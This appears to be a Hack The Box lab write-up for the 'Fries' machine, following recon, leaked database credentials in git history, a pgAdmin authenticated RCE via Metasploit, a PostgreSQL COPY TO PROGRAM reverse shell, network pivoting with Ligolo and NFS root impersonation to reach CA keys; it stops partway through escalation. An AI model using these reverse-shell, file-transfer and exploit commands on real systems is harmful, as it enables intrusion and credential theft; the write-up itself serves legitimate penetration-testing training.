RECON

Creds

Machine information:

As is common in real life Windows penetration tests, you will start the Fries box with credentials for the following account : [email protected] / D4LE11maan!!

But the provided cred does not work for any initial probes via nxc [smb|ldap|winrm].

Port Scan

PORT      STATE SERVICE       REASON  VERSION
22/tcp    open  ssh           syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLS2jzf8Eqy8cVa20hyZcem8rwAzeRhrMNEGdSUcFmv1FiQsfR4F9vZYkmfKViGIS3uL3X/6sJjzGxT1F/uPm/U=
|   256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFj9hE1zqO6TQ2JpjdgvMm6cr6s6eYsQKWlROV4G6q+4
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://fries.htb/
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-11-23 08:40:59Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-23T08:42:49+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Issuer: commonName=fries-DC01-CA/domainComponent=fries
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-18T05:39:19
| Not valid after:  2105-11-18T05:39:19
| MD5:   2410:a18d:14b3:7f5d:8e34:d144:0bac:6469
| SHA-1: 3e84:1436:bb47:6ccd:f5ee:f805:cacd:47b6:6485:7e09
| -----BEGIN CERTIFICATE-----
| MIIF4zCCBMugA...
443/tcp   open  ssl/http      syn-ack nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html;charset=ISO-8859-1).
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
| tls-nextprotoneg:
|_  http/1.1
| ssl-cert: Subject: commonName=pwm.fries.htb/organizationName=Fries Foods LTD/stateOrProvinceName=Madrid/countryName=SP/organizationalUnitName=PWM Configuration/localityName=Madrid/[email protected]
| Issuer: commonName=pwm.fries.htb/organizationName=Fries Foods LTD/stateOrProvinceName=Madrid/countryName=SP/organizationalUnitName=PWM Configuration/localityName=Madrid/[email protected]
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-06-01T22:06:09
| Not valid after:  2026-06-01T22:06:09
| MD5:   118d:ea17:3fba:3b65:28de:8e26:33e7:19f2
| SHA-1: 5503:8aa8:0080:a853:ca73:87e3:b705:3fe8:b599:a855
| -----BEGIN CERTIFICATE-----
| MIIEGTCCAwGgA...
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: F588322AAF157D82BB030AF1EFFD8CF9
|_http-server-header: nginx/1.18.0 (Ubuntu)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-23T08:42:48+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Issuer: commonName=fries-DC01-CA/domainComponent=fries
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-18T05:39:19
| Not valid after:  2105-11-18T05:39:19
| MD5:   2410:a18d:14b3:7f5d:8e34:d144:0bac:6469
| SHA-1: 3e84:1436:bb47:6ccd:f5ee:f805:cacd:47b6:6485:7e09
| -----BEGIN CERTIFICATE-----
| MIIF4zCCBM...
2179/tcp  open  vmrdp?        syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-23T08:42:50+00:00; +7h00m02s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Issuer: commonName=fries-DC01-CA/domainComponent=fries
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-18T05:39:19
| Not valid after:  2105-11-18T05:39:19
| MD5:   2410:a18d:14b3:7f5d:8e34:d144:0bac:6469
| SHA-1: 3e84:1436:bb47:6ccd:f5ee:f805:cacd:47b6:6485:7e09
| -----BEGIN CERTIFICATE-----
| MIIF4zCCBM...
3269/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: fries.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-11-23T08:42:48+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
| Issuer: commonName=fries-DC01-CA/domainComponent=fries
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-18T05:39:19
| Not valid after:  2105-11-18T05:39:19
| MD5:   2410:a18d:14b3:7f5d:8e34:d144:0bac:6469
| SHA-1: 3e84:1436:bb47:6ccd:f5ee:f805:cacd:47b6:6485:7e09
| -----BEGIN CERTIFICATE-----
| MIIF4zCCBMugAwIB...
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49667/tcp open  msrpc         syn-ack Microsoft Windows RPC
49685/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc         syn-ack Microsoft Windows RPC
49688/tcp open  msrpc         syn-ack Microsoft Windows RPC
49689/tcp open  msrpc         syn-ack Microsoft Windows RPC
49913/tcp open  msrpc         syn-ack Microsoft Windows RPC
49944/tcp open  msrpc         syn-ack Microsoft Windows RPC
49971/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 41583/tcp): CLEAN (Timeout)
|   Check 2 (port 45430/tcp): CLEAN (Timeout)
|   Check 3 (port 27291/udp): CLEAN (Timeout)
|   Check 4 (port 10576/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: mean: 7h00m01s, deviation: 0s, median: 7h00m00s
| smb2-time:
|   date: 2025-11-23T08:42:10
|_  start_date: N/A

The initial Nmap sweep exposed a dual-layer infrastructure: a Linux-facing web tier and a fully operational Windows Active Directory environment behind it.

Linux Web Frontend

  • 22/tcp – SSH (OpenSSH 8.9, Ubuntu)
  • 80/tcp & 443/tcp – nginx/1.18.0: Redirects to fries.htb and serves a TLS-enabled portal for pwm.fries.htb.

The presence of PWM suggests an Active Directory self-service password system, historically prone to misconfigurations and logic vulnerabilities.

Windows AD

  • 88 – Kerberos
  • 135/139/445 – RPC / NetBIOS / SMB
  • 389/636 – LDAP / LDAPS
  • 3268/3269 – Global Catalog
  • 593 / 9389 – AD Web Services & RPC over HTTP
  • 5985 – WinRM

These ports reveal DC01.fries.htb as the primary domain controller for the fries.htb domain.

Service Behavior

  • SMB signing is required, reducing relay attack vectors.
  • Time skew present: +7h when authenticating using Kerberos.

Web App

http://fries.htb/ serves as a restaurant reservation page — essentially a static façade, no dynamic features exposed.

Subdomain

Fuzzing subdomains of the target reveals hidden infrastructure:

$ ffuf -c -u "http://fries.htb/" -H "Host: FUZZ.fries.htb" -w /home/Axura/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fs 154

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://fries.htb/
 :: Wordlist         : FUZZ: /home/Axura/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.fries.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

code                    [Status: 200, Size: 13593, Words: 1048, Lines: 272, Duration: 2750ms]
:: Progress: [1967/19966] :: Job [1/1] :: 19 req/sec :: Duration: [0:02:13] :: Errors: 0 ::

Gitea

Discovered: http://code.fries.htb — an internal Gitea instance hosting source code for internal services. After authenticating as Dale Cooper ([email protected] / D4LE11maan!!):

htb_fries_2

We gain access to the private repo powering the Fries Main Website, a corporate-facing Flask application.

The project is a Python Flask web service backed by a PostgreSQL database. Its purpose is to deliver the main Fries website, including:

  • Public landing page
  • About/Staff section
  • Menu system (meals, beverages, sides)
  • User/database interaction via PostgreSQL

The repository includes Docker-based deployment instructions:

htb_fries_3

The screenshot reveals intranet user svc@web who is able to run docker from a Linux host.

The application relies on:

  • An accessible internal PostgreSQL instance using schema ps_db
  • Database management hosted at: http://db-mgmt05.fries.htb
  • Access controlled by internal DevOps team (mentions "Dylan, Mike, Dale")

pgAdmin

Accessing http://db-mgmt05.fries.htb with d.cooper's credentials:

htb_fries_4

We're greeted by pgAdmin 4 v9.1, a PostgreSQL administration portal — requiring DB root creds to explore backend data.

PWM

Visiting https://fries.htb redirects us to https://fries.htb/pwm/private/login:

htb_fries_7

The login page signals:

"PWM is in open configuration mode and is not secure."

The version is exposed in the page source:

HTML
<div class="header-warning-row header-warning-version">PWM v2.0.8 bb7ed22b</div>

Accessing the Configuration Manager — a normally restricted area — at: https://fries.htb/pwm/private/config/login

htb_fries_10

Using d.cooper's credentials fails:

htb_fries_8

Supplying junk credentials reveals something far more valuable — how PWM connects to LDAP:

htb_fries_9

The error (5017) indicates:

  • PWM attempts LDAPS bind to ldaps://dc01.fries.htb:636
  • Using bind credentials: CN=svc_infra,CN=Users,DC=fries,DC=htb
  • Connection fails not from bad credentials, but TLS mismatch — it doesn't trust the Domain Controller's cert.

If we compromise the svc_infra account, we'll have direct LDAP access to AD.

WEB

Gitea Repository

We clone the repository from the internal Gitea server for source review:

Bash
git clone http://code.fries.htb/dale/fries.htb.git

Surprisingly, the codebase passes Snyk checks clean — no immediate vulnerabilities flagged:

htb_fries_5

Rgrep for sensitive strings like password to hunt potential credential leaks:

htb_fries_6

Nothing exposed in plain text. The application retrieves database credentials through an environment variable (DATABASE_URL) during runtime.

That said, secrets often leak in early commits. Time to dig through Git history. Inside the cloned repo:

$ git status
On branch main
Your branch is up to date with 'origin/main'.
nothing to commit, working tree clean

$ git log --reverse --oneline
be59cce Initial Commit
03a8dc3 Add README.md
3e8ca66 gitignore update
83eef4b Update README.md
ed33034 Update README.md
45c2c6b Update README.md
6266ab4 run.py updated
2c5fc0f Add docker-compose.yml
0e410b7 Added docs images
d03e0d7 Update README.md
47b29c4 (HEAD -> main, origin/main, origin/HEAD) Update README.md

Peeking at the earliest commit with git show be59cce reveals what we need:

htb_fries_11

The .env file contains:

DATABASE_URL=postgresql://root:[email protected]:5432/ps_db
SECRET_KEY=y0st528wn1idjk3b9a

The credentials root / PsqLR00tpaSS11 grant full access to the PostgreSQL instance via pgAdmin:

htb_fries_13

pgAdmin

Now with root-level database access, we turn our focus to code execution via this admin panel.

CVE-2025-2945

Our target runs pgAdmin v9.1. A freshly disclosed vulnerability, CVE-2025-2945, aligns precisely — an authenticated RCE via the Query Tool.

A Metasploit module leverages this flaw. It abuses the SQL Query Tool — meant for benign database queries — to execute commands at the OS level.

We verify available modules:

$ msfconsole -q -x 'search pgadmin; exit'
[*] Starting persistent handler(s)...

Matching Modules
================
   #  Name                                                 Disclosure Date  Rank       Check  Description
   -  ----                                                 ---------------  ----       -----  -----------
   0  exploit/windows/http/pgadmin_binary_path_api         2024-03-28       excellent  Yes    pgAdmin Binary Path API RCE
   1  exploit/multi/http/pgadmin_query_tool_authenticated  2025-04-03       excellent  Yes    pgAdmin Query Tool authenticated RCE (CVE-2025-2945)
   2  exploit/multi/http/pgadmin_session_deserialization   2024-03-04       excellent  Yes    pgAdmin Session Deserialization RCE

Module confirmed. Time to deploy targeting on http://db-mgmt05.fries.htb:

MSF
use exploit/multi/http/pgadmin_query_tool_authenticated
set RHOSTS db-mgmt05.fries.htb
set DB_NAME ps_db
set DB_USER root
set DB_PASS PsqLR00tpaSS11
set USERNAME [email protected]
set PASSWORD D4LE11maan!!
set LHOST tun0
run

Shell access achieved:

htb_fries_12

Intranet

Setup

Deploy Busybox

Inside the intranet Docker containers, we're boxed in — stripped environment, no curl, no wget. But we pivot by exfil/infil via raw sockets: /dev/tcp lets us transfer binaries without external dependencies.

Upload the magic busybox:

Bash
# @attacker: serve target binary
sudo pacman -S busybox	# for debian: sudo apt intall busybox
nc -lvp 1234 < $(which busybox)

# @victim: download
bash -c 'cat </dev/tcp/10.10.8.12/1234 > /tmp/busybox'
chmod +x /tmp/busybox

Now we're armed within the containerized environment:

$ ./busybox --help

Usage: busybox [function [arguments]...]
   or: busybox --list[-full]
   or: busybox --install [-s] [DIR]
   or: function [arguments]...

        BusyBox is a multi-call binary that combines many common Unix
        utilities into a single executable.  The shell in this build
        is configured to run built-in utilities without $PATH search.
        You don't need to install a link to busybox for each utility.
        To run external program, use full path (/sbin/ip instead of ip).

Currently defined functions:
        [, [[, acpid, addgroup, adduser, adjtimex, ar, arch, arp, arping,
        ascii, ash, awk, base32, base64, basename, bbconfig, bc, beep,
        blkdiscard, blkid, blockdev, bootchartd, brctl, bunzip2, busybox,
        bzcat, bzip2, cal, cat, chat, chattr, chgrp, chmod, chown, chpasswd,
        chpst, chroot, chrt, chvt, cksum, clear, cmp, comm, cp, cpio, crc32,
        crond, crontab, cryptpw, cttyhack, cut, date, dc, dd, deallocvt,
        delgroup, deluser, depmod, df, dhcprelay, diff, dirname, dmesg, dnsd,
        dnsdomainname, dos2unix, du, dumpkmap, dumpleases, echo, ed, egrep,
        eject, env, envdir, envuidgid, ether-wake, expand, expr, factor,
        fakeidentd, fallocate, false, fatattr, fbset, fbsplash, fdflush,
        fdformat, fdisk, fgconsole, fgrep, find, findfs, flock, fold, free,
        freeramdisk, fsck, fsck.minix, fsfreeze, fstrim, fsync, ftpd, ftpget,
        ftpput, fuser, getopt, getty, grep, groups, gunzip, gzip, halt, hd,
        hdparm, head, hexdump, hexedit, hostid, hostname, httpd, hwclock,
        i2cdetect, i2cdump, i2cget, i2cset, i2ctransfer, id, ifconfig, ifdown,
        ifenslave, ifplugd, ifup, inetd, init, inotifyd, insmod, install,
        ionice, iostat, ip, ipaddr, ipcalc, ipcrm, ipcs, iplink, ipneigh,
        iproute, iprule, iptunnel, kbd_mode, kill, killall, killall5, klogd,
        less, link, linux32, linux64, linuxrc, ln, loadfont, loadkmap, logger,
        login, logname, logread, losetup, lpd, lpq, lpr, ls, lsattr, lsmod,
        lsof, lspci, lsscsi, lsusb, lzcat, lzma, lzopcat, makedevs, makemime,
        man, md5sum, mdev, mesg, microcom, mkdir, mkdosfs, mke2fs, mkfifo,
        mkfs.ext2, mkfs.minix, mkfs.vfat, mknod, mkpasswd, mkswap, mktemp,
        modinfo, modprobe, more, mount, mountpoint, mpstat, mt, mv, nameif,
        nbd-client, nc, netstat, nice, nl, nmeter, nohup, nproc, nsenter,
        nslookup, ntpd, od, openvt, partprobe, passwd, paste, patch, pgrep,
        pidof, ping, ping6, pipe_progress, pivot_root, pkill, pmap, popmaildir,
        poweroff, powertop, printenv, printf, ps, pscan, pstree, pwd, pwdx,
        raidautorun, rdate, rdev, readahead, readlink, readprofile, realpath,
        reboot, reformime, renice, reset, resize, resume, rev, rfkill, rm,
        rmdir, rmmod, route, rpm2cpio, rtcwake, run-init, run-parts, runsv,
        runsvdir, rx, script, scriptreplay, sed, seedrng, sendmail, seq,
        setarch, setconsole, setfattr, setfont, setkeycodes, setlogcons,
        setpriv, setserial, setsid, setuidgid, sh, sha1sum, sha256sum, sha3sum,
        sha512sum, showkey, shred, shuf, slattach, sleep, smemcap, softlimit,
        sort, split, ssl_client, start-stop-daemon, stat, strings, stty, su,
        sulogin, sum, sv, svc, svlogd, svok, swapoff, swapon, switch_root,
        sync, sysctl, syslogd, tac, tail, tar, taskset, tc, tcpsvd, tee,
        telnet, telnetd, test, tftp, tftpd, time, timeout, top, touch, tr,
        traceroute, traceroute6, tree, true, truncate, ts, tsort, tty, ttysize,
        tunctl, tune2fs, ubiattach, ubidetach, ubimkvol, ubirename, ubirmvol,
        ubirsvol, ubiupdatevol, udhcpc, udhcpc6, udhcpd, udpsvd, uevent,
        umount, uname, uncompress, unexpand, uniq, unix2dos, unlink, unlzma,
        unlzop, unshare, unxz, unzip, uptime, usleep, uudecode, uuencode,
        vconfig, vi, vlock, volname, watch, watchdog, wc, wget, which, whoami,
        whois, xargs, xxd, xz, xzcat, yes, zcat, zcip

Tunneling

The internal Docker network, previously mapped via docker-compose configs and PostgreSQL routing, looks like:

  • 172.18.0.1 – Docker bridge
  • 172.18.0.2 – Web container
  • 172.18.0.3 – PostgreSQL
  • 172.18.0.4 – pgAdmin

Scanning deeper with fscan gave us:

$ /tmp/fscan -h 172.18.0.0/16

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4

(icmp) Target 172.18.0.1      is alive
(icmp) Target 172.18.0.6      is alive
(icmp) Target 172.18.0.3      is alive
(icmp) Target 172.18.0.2      is alive
(icmp) Target 172.18.0.4      is alive
(icmp) Target 172.18.0.5      is alive

But the scan disrupted our fragile TTY — no proper shell resilience. Enter: Ligolo-NG.

We leverage the busybox bootstrap to upload the Ligolo agent and pivot the internal network out:

Bash
# @attacker
cd hacktools/port4ward/ligolo-ng
python -m http.server 80

# @victim
/tmp/busybox wget 10.10.8.12/agent -O agent
chmod +x /tmp/agent

# @attacker: fix Docker conflict (optional)
# $ ip a
# 3: br-78321bb94a8a: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group # default
#     link/ether c6:60:f9:c4:2e:24 brd ff:ff:ff:ff:ff:ff
#     inet 172.18.0.1/16 brd 172.18.255.255 scope global br-78321bb94a8a
#        valid_lft forever preferred_lft forever
# $ docker network ls
# NETWORK ID     NAME                        DRIVER    SCOPE
# 78321bb94a8a   bloodhound-docker_default   bridge    local		<- my conflict one
# cff180351fa0   bridge                      bridge    local
# b49dac7d2e1c   host                        host      local
# dda2d551391e   none                        null      local
## temporary remove the conflict network
sudo systemctl stop docker
sudo ip link set br-78321bb94a8a down
sudo ip addr flush dev br-78321bb94a8a

# @attacker: ligolo server
ifcreate --name ligolo
route_add --name ligolo --route 192.168.100.0/24 
route_add --name ligolo --route 172.18.0.0/16

# @victim: ligolo agent
/tmp/agent -connect 10.10.8.12:11601 -ignore-cert &

Tunnels established:

htb_fries_14

Intranet Port Scan

After setting up tunnel for port forwarding (or just run scanner on the container):

Docker Network

We can scan Docker Network (172.18.0.0/16) — Internal Services.

Result on 172.18.0.2 (web container):

$ nmap -A -T4 172.18.0.2
PORT      STATE    SERVICE        VERSION
5000/tcp  open     http           Werkzeug httpd 2.3.7 (Python 3.11.2)
|_http-server-header: Werkzeug/2.3.7 Python/3.11.2

Result on 172.18.0.3 (postgres container):

$ nmap -A -T4 172.18.0.3
PORT      STATE    SERVICE    VERSION
5432/tcp  open     postgresql PostgreSQL DB 9.6.0 or later

Result on 172.18.0.4 (pgadmin container):

$ nmap -A -T4 172.18.0.4
PORT      STATE    SERVICE    VERSION
80/tcp    open     http       Gunicorn
| http-title: pgAdmin 4
|_Requested resource was /login?next=/

Result on 172.18.0.5 (gitea server):

$ nmap -A -T4 172.18.0.5 -Pn
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7 (protocol 2.0)
| ssh-hostkey:
|   256 71:71:5d:c2:d8:fe:27:ba:99:ae:e0:27:a4:0b:27:3a (ECDSA)
|_  256 8f:86:ba:d6:c2:8a:8c:24:cc:7b:59:b2:c4:a1:db:50 (ED25519)
3000/tcp open  http    Golang net/http server
|_http-title: Gitea: Git with a cup of tea

The bridge interface (another interface of the same host that is already serving NFS on 192.168.100.2):

$ nmap -A -T4 172.18.0.1
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_  256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
80/tcp   open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://fries.htb/
111/tcp  open  rpcbind  2-4 (RPC #100000)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
443/tcp  open  ssl/http nginx 1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=pwm.fries.htb/organizationName=Fries Foods LTD/stateOrProvinceName=Madrid/countryName=SP
2049/tcp open  nfs      3-4 (RPC #100003)
3000/tcp open  http     Golang net/http server
|_http-title: Gitea: Git with a cup of tea
8443/tcp open  ssl/http Apache Tomcat (language: en)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=pwm.fries.htb

Others:

$ nmap -A -T4 172.18.0.6 -Pn
PORT     STATE SERVICE  VERSION
8443/tcp open  ssl/http Apache Tomcat (language: en)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=pwm.fries.htb

Windows AD Network

Scan Windows AD Network 192.168.100.0/24 — The Real Attack Surface.

Domain controller on 192.168.100.1:

$ nmap -A -T5 192.168.100.1 -Pn
PORT    STATE SERVICE
53/tcp  open  domain
88/tcp  open  kerberos
135/tcp open  epmap
139/tcp open  netbios-ssn
389/tcp open  ldap
445/tcp open  microsoft-ds
464/tcp open  kpasswd
593/tcp open  unknown
636/tcp open  ldaps

The Linux host on 192.168.100.2:

$ nmap -A -T5 192.168.100.2 
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  sunrpc
443/tcp  open  https
2049/tcp open  nfs

That second one smells like storage / infra. NFS there is very likely our way into AD secrets.

Topology

So now we are clear:

  • 172.18.0.1 = Docker bridge interface on the Linux host
  • 172.18.0.2 = web container (Flask Web App, Werkzeug, Python 3.11.2)
  • 172.18.0.3 = postgres container (Postgres 16, used by the web app.)
  • 172.18.0.4 = pgadmin container (current foothold)
  • 172.18.0.5 = Gitea container (has port 22 open)
  • 172.18.0.6 = PWM container (Apache Tomcat)

Docker Containers

pgAdmin Container

We're in a pgAdmin 4 container, the one fronting db-mgmt05.fries.htb:

$ ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
    link/ether ba:c4:6e:77:33:0d brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.4/16 brd 172.18.255.255 scope global eth0
       valid_lft forever preferred_lft forever

We have direct network reach to the Domain Controller (192.168.100.1):

$ ping -c 1 dc01.fries.htb
PING dc01.fries.htb (192.168.100.1): 56 data bytes
64 bytes from 192.168.100.1: seq=0 ttl=42 time=2.761 ms

--- dc01.fries.htb ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 2.761/2.761/2.761 ms

$ nslookup dc01.fries.htb
Server:         127.0.0.11
Address:        127.0.0.11:53

Name:   dc01.fries.htb
Address: 192.168.100.1

Check env:

meterpreter > shell
Process 1140 created.
Channel 1 created.

$ env
HOSTNAME=cb46692a4590
SHLVL=1
PGADMIN_DEFAULT_PASSWORD=Friesf00Ds2025!!
CONFIG_DISTRO_FILE_PATH=/pgadmin4/config_distro.py
HOME=/home/pgadmin
[email protected]
SERVER_SOFTWARE=gunicorn/22.0.0
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
OAUTHLIB_INSECURE_TRANSPORT=1
CORRUPTED_DB_BACKUP_FILE=
PWD=/pgadmin4
PGAPPNAME=pgAdmin 4 - CONN:8151757
PYTHONPATH=/pgadmin4

The environment variables expose a second admin credential: [email protected] / Friesf00Ds2025!!.

Confirmed valid for pgAdmin at: http://db-mgmt05.fries.htb.

PostgreSQL Container

Authenticated via pgAdmin as [email protected], and connected to the PostgreSQL backend at 172.18.0.3:5432 using root / PsqLR00tpaSS11, we gain full query access via the Query Tool:

htb_fries_16

Now, armed with PayloadsAllTheThings - PostgreSQL RCE, we exploit PostgreSQL's COPY TO PROGRAM feature for command execution:

SQL
COPY (SELECT '') TO PROGRAM
'bash -c "bash -i >& /dev/tcp/10.10.8.12/60001 0>&1"';

Start a netcat listener. Then trigger the payload — instant reverse shell:

htb_fries_17

We're now postgres, inside the DB container.

Interestingly, this user is part of the ssl-cert group, which grants execution rights (not read) on root-owned files within /etc/ssl/private:

postgres@858fdf51af59:/tmp$ ls -l /etc/ssl/ 
total 24
drwxr-xr-x 2 root root      4096 May 22  2025 certs
-rw-r--r-- 1 root root     12332 Apr 15  2025 openssl.cnf
drwx--x--- 2 root ssl-cert  4096 May 22  2025 private

postgres@858fdf51af59:/tmp$ ls -l /etc/ssl/certs
total 4
lrwxrwxrwx 1 root root   21 May 22  2025 ce275665.0 -> ssl-cert-snakeoil.pem
-rw-r--r-- 1 root root 1090 May 22  2025 ssl-cert-snakeoil.pem

postgres@858fdf51af59:/tmp$ ls -l /etc/ssl/private
ls: cannot open directory '/etc/ssl/private': Permission denied

While we can't read these files directly, we may be able to execute or leverage them indirectly — potential pivot via openssl, custom scripts, or key export abuse. Keep this in the escalation toolkit.

Web Container

With [email protected] / Friesf00Ds2025!! discovered from the pgAdmin environment, we pivot.

Earlier Gitea recon exposed the username in its README.md: svc.

We also observed SSH open on the web container (192.168.100.2), namely the Docker bridge at 172.18.0.1. Let's aim for direct lateral SSH access using the admin password (Friesf00Ds2025!!) with its OS username (svc):

htb_fries_18

NFS

Mounted Shares

We've demonstrated NFS exploitation before — like in Scepter — and the same vector now presents itself again.

From our attacker machine, routed via Ligolo into 192.168.100.0/24, we probe the target for exports:

$ showmount -e 192.168.100.2
Export list for 192.168.100.2:
/srv/web.fries.htb *

We mount the export to a local directory:

$ sudo mkdir -p /mnt/webfries
$ sudo mount -t nfs 192.168.100.2:/srv/web.fries.htb /mnt/webfries -o vers=3

$ ls -l /mnt/webfries -a
total 20
drw-r-xr-x 5   655 root     4096 May 28 10:17 .
drwxr-xr-x 4 root  root     4096 Nov 23 03:01 ..
drwxrwx--- 2 root  59605603 4096 May 26 11:13 certs
drwxrwxrwx 2 root  root     4096 May 31 04:11 shared
drwxr----- 5 Axura Axura    4096 Jun  7 06:30 webroot

Most directories are restricted. webroot is user-owned. shared is world-writable. But certs — the crown — is owned by GID 59605603, and off-limits to us under normal UID/GID.

Nfsclient Impersonation

The export allows universal access:

/srv/web.fries.htb  *

And it does not squash root — remote UID 0/GID 0 is honored. Meaning we can spoof root and bypass NFS permission boundaries using nfsclient.

Listing contents as root:0:0:

Bash
sudo nfsclient 192.168.100.2:/srv/web.fries.htb root:0:0 ls ./

Confirmed — remote root is trusted:

htb_fries_15

Permissions breakdown:

/srv/web.fries.htb
├── webroot        (UID 1000 / GID 1000)
├── certs          (UID 0 / GID 59605603)
└── shared         (UID 0 / GID 0)

Privesc Vectors

CA Certs

We target certs by impersonating UID 0 / GID 59605603:

$ sudo nfsclient 192.168.100.2:/srv/web.fries.htb root:0:59605603 ls ./certs

+--------------------+-----+----------+----------+------+
| FILENAME           | UID |      GID | MODE     | SIZE |
+--------------------+-----+----------+----------+------+
| ca.pem             |   0 | 59605603 | 0x52d580 | 1111 |
| server.csr         |   0 | 59605603 | 0x52d580 |  940 |
| server-cert.pem    |   0 | 59605603 | 0x52d580 | 1115 |
| server-key.pem     |   0 | 59605603 | 0x52d580 | 1704 |
| ..                 | 655 |        0 | 0x52d580 | 4096 |
| ca-key.pem         |   0 | 59605603 | 0x52d580 | 1708 |
